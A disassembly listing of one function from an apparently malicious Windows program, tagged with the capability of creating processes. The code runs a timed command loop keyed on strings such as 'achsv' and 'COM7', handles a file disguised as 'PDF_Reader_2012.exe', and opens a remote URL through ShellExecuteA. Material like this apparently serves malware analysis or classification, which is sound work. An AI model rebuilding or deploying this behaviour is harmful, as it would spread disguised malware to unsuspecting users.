Function at 0x402588
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.Start_the_CMD_init_..._n
call sub.msvcrt.dll_printf
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp + 4], str.achsv
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
jne 0x4025d8
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
jne 0x4025d8
jmp 0x40264a
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e0]
jl 0x4025f3
cmp dword [0x408484], 0
jns 0x4025f3
call fcn.00403ce0
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e4]
jl 0x40260e
cmp dword [0x408484], 0
jns 0x40260e
call fcn.00403a05
mov eax, dword [0x4083e0]
add eax, 0xd
cmp eax, dword [0x40c018]
jg 0x40262c
cmp dword [0x408484], 1
jne 0x40262c
call fcn.00403ce0
mov eax, dword [0x4083e4]
add eax, 0xd
cmp eax, dword [0x40c018]
jg 0x40264a
cmp dword [0x408484], 1
jne 0x40264a
call fcn.00403a05
fldz
fstp qword [ebp - 8]
fld qword [ebp - 8]
fld1
faddp st(1)
fstp qword [ebp - 8]
fld qword [0x40a3d0]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404505
test eax, eax
jne 0x4026dd
mov dword [esp + 4], str.achsv
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
je 0x4026cc
mov dword [esp], 0x540290
call fcn.004048e1
test eax, eax
jne 0x4026dd
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
jmp 0x4026dd
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402d26
fld qword [0x40a3d8]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404505
test eax, eax
jne 0x402750
cmp dword [0x40c018], 0
jle 0x402714
cmp dword [0x408484], 0
jns 0x402714
mov dword [esp], str.PDF_Reader_2012.exe
call fcn.0040370f
cmp dword [0x40c018], 5
jle 0x402732
cmp dword [0x408484], 1
jne 0x402732
mov dword [esp], str.PDF_Reader_2012.exe
call fcn.0040370f
cmp dword [0x40c018], 0
jns 0x402750
cmp dword [0x408484], 0
jns 0x402750
mov dword [esp], str.PDF_Reader_2012.exe
call fcn.0040370f
fld qword [0x40a3e0]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404505
test eax, eax
jne 0x402791
mov dword [esp], 0x40d900
call fcn.004048e1
test eax, eax
jne 0x402791
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40d900
call fcn.00403018
fld qword [0x40a3e8]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404505
test eax, eax
jne 0x40284c
mov dword [esp + 4], str.achsv
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
je 0x40284c
mov dword [esp], 0x540290
call fcn.004048e1
test eax, eax
jne 0x40280c
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
jmp 0x40284c
mov dword [esp], 0x540290
call fcn.00402cfc
test eax, eax
jne 0x40284c
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x540290
call fcn.00402c64
fld qword [0x40a3f0]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404505
test eax, eax
jne 0x40287a
cmp dword [0x40c018], 0
jns 0x40287a
mov dword [esp], str.PDF_Reader_2012.exe
call fcn.0040370f
fld qword [0x40a3f8]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404505
test eax, eax
jne 0x40291b
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
je 0x4028f2
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0x40a3c0
mov dword [esp + 0xc], 0x40a139
mov dword [esp + 8], str.http:__www.ibayme.eb2a.com_ad.php
mov dword [esp + 4], str.Open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp + 4], str.achsv
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
je 0x40291b
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402b8d
fld qword [ebp - 8]
fld qword [0x40a400]
fxch st(1)
fucompp
fnstsw ax
sahf
jp 0x40292f
je 0x402931
jmp 0x402945
fldz
fstp qword [ebp - 8]
call fcn.00402a11
mov dword [0x40c018], eax
call fcn.00402b8d
cmp dword [0x40c018], 0
jne 0x402962
cmp dword [0x40c018], 0
jg 0x402962
cmp dword [0x40c018], 0
js 0x402962
jmp 0x40298b
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
je 0x40298b
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.0040332d
mov dword [esp + 4], str.achsv
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
jne 0x4029c0
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.004060b5
test eax, eax
jne 0x4029c0
call fcn.00406af2
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x83340521
imul ecx
lea eax, [ecx + edx]
mov edx, eax
sar edx, 9
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e7
sub ecx, eax
mov eax, ecx
add eax, 0x3e7
mov dword [esp], eax
call sub.msvcrt.dll__sleep
jmp 0x40264f